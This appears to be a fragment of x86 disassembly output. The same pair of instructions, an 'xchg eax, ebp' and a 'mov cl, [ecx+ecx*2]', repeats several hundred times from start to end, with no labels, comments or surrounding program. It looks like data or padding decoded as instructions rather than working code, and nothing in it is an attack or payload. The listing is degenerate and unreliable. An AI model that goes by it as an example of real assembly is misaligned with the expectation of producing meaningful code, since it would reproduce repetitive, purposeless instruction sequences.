		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
